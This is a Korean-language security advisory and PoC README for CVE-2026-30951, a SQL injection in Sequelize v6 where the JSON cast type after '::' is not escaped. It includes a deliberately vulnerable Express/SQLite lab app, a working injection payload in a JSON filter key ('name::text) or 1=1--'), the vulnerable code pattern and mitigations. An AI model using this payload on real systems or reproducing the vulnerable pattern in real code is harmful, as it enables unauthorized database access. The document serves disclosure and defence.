
CVE-2026-30951 — Updated!
Sequelize JSON Cast SQL 인젝션
CVE-2026-30951 Sequelize JSON Cast SQL Injection
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
개요
CVE-2026-30951은 널리 사용되는 Node.js ORM인 Sequelize v6의 SQL Injection 취약점입니다.
이 취약점은 JSON/JSONB
where절 처리 과정에 존재합니다. Sequelize가::를 포함하는 JSON 경로 키를 파싱할 때,::뒤의 값이 SQL cast 타입으로 처리되어 적절한 검증 없이 생성된 SQL에 삽입됩니다.공격자가 Sequelize
where절에 전달되는 JSON 객체 키를 제어할 수 있다면, 생성되는 SQL 쿼리를 조작할 수 있습니다.
영향받는 버전
| Category | Version |
|---|---|
| 취약 | Sequelize v6.x <= 6.37.7 |
| 패치됨 | Sequelize 6.37.8 |
| 영향 없음 | Sequelize v7 / @sequelize/core |
영향
- 공격자가 제어하는 JSON 객체 키를 통한 SQL injection
- boolean 기반 injection을 통한 검색 필터 우회
- ORM이 생성한 SQL 내에서 의도하지 않은 쿼리 조건 조작
환경
이 저장소에는 취약한 최소 구성의 Node.js, Express, Sequelize, SQLite 챌린지 앱이 포함되어 있습니다.
로컬 실행
npm install
npm start
앱은 다음 주소에서 시작됩니다:
http://127.0.0.1:9100
Docker
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker 컨테이너는 다음 주소에서 시작됩니다:
http://127.0.0.1:9100
PoC
취약한 환경을 시작한 후, 아래 단계에 따라 injection을 재현하십시오.
1단계. 정상 검색 요청 전송
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
이는 정상적인 이름 검색 로직과 일치하는 사용자만 반환합니다.
2단계. boolean 기반 SQL injection 트리거
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
예상 결과:
모든 사용자 행이 반환됩니다.
3단계. SQL injection 발생 확인
조작된 JSON 키로 인해 Sequelize는 다음과 유사한 cast 표현식을 생성합니다:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
cast 타입이 공격자에 의해 제어되므로, OR 1=1 조건이 의도된 WHERE 절 동작을 변경합니다. 동일한 검색 엔드포인트에서 모든 행이 반환되는 것은 SQL injection이 가능함을 확인해 줍니다.
분석
기술적 근본 원인
이 취약점은 Sequelize v6에서 JSON cast 타입에 대한 불충분한 검증으로 인해 발생합니다.
내부적으로 Sequelize의 JSON 순회 로직은 JSON 경로 키를 ::를 기준으로 분리합니다:
jsonKey::castType
그런 다음 cast 타입은 다음과 같이 생성된 SQL에서 사용됩니다:
CAST(<json_extract_expression> AS <cast_type>)
취약한 버전에서는 <cast_type>이 안전하게 이스케이프되거나 알려진 안전한 허용 목록으로 제한되지 않습니다. 이로 인해 공격자가 제어하는 JSON 키가 cast 표현식을 벗어나 SQL을 주입할 수 있습니다.
위험한 패턴
영향받는 Sequelize 버전을 사용할 때 다음과 유사한 애플리케이션 패턴은 취약할 수 있습니다:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
이는 공격자가 JSON 값뿐만 아니라 JSON 객체 키까지 제어하기 때문에 위험합니다.
이것이 중요한 이유
이 취약점은 많은 개발자가 ORM 쿼리 빌더가 SQL injection을 자동으로 방어한다고 가정하기 때문에 특히 위험합니다. 이 경우 injection은 애플리케이션이 이미 구조화된 JavaScript 객체를 Sequelize에 전달한 후, ORM이 생성한 SQL 내부에서 발생합니다.
애플리케이션 로직에 따라, 악용을 통해 다음이 가능할 수 있습니다:
- 의도된 검색 필터 우회
- boolean 쿼리 조건 변경
- ORM이 생성한 SQL의 동작 변경
이는 근본적으로 CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화 문제입니다.
시나리오
+-------------------------------------------+
| 공격자 |
+-------------------------------------------+
|
| 악성 name:: 키를 포함한
| 조작된 JSON 필터 전송
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where 절이
| ::를 포함한 키를 처리
v
+-------------------------------------------+
| 이스케이프되지 않은 SQL cast 타입 주입 |
+-------------------------------------------+
|
| Boolean 조건 조작
v
+-------------------------------------------+
| SQL Injection 확인됨 |
+-------------------------------------------+
완화 방안
- Sequelize를 6.37.8 이상으로 업그레이드
- 사용자가 제어하는 객체를 Sequelize JSON/JSONB
where절에 직접 전달하지 마십시오 - ORM 필터를 구성하기 전에 사용자가 제어하는 JSON 키를 거부하거나 정규화하십시오
- 임의의 요청 본문 객체를 허용하는 대신 화이트리스트 기반 필터 구성을 사용하십시오
- 명시적으로 필요한 경우가 아니라면 SQL 제어 구문이나
::와 같은 cast 구분자를 포함하는 JSON 키를 거부하십시오 - 서버에서 정의한 쿼리 필드를 선호하십시오. 예:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
면책 조항
이 저장소는 통제된 환경에서의 보안 연구, 방어적 검증, 교육적 사용만을 목적으로 합니다.
소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에 이 PoC를 사용하지 마십시오.
EQST Insight
We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.
- https://www.skshieldus.com/security-insights/reports?tab=eqst
- https://www.skshieldus.com/en/report?tab=eqst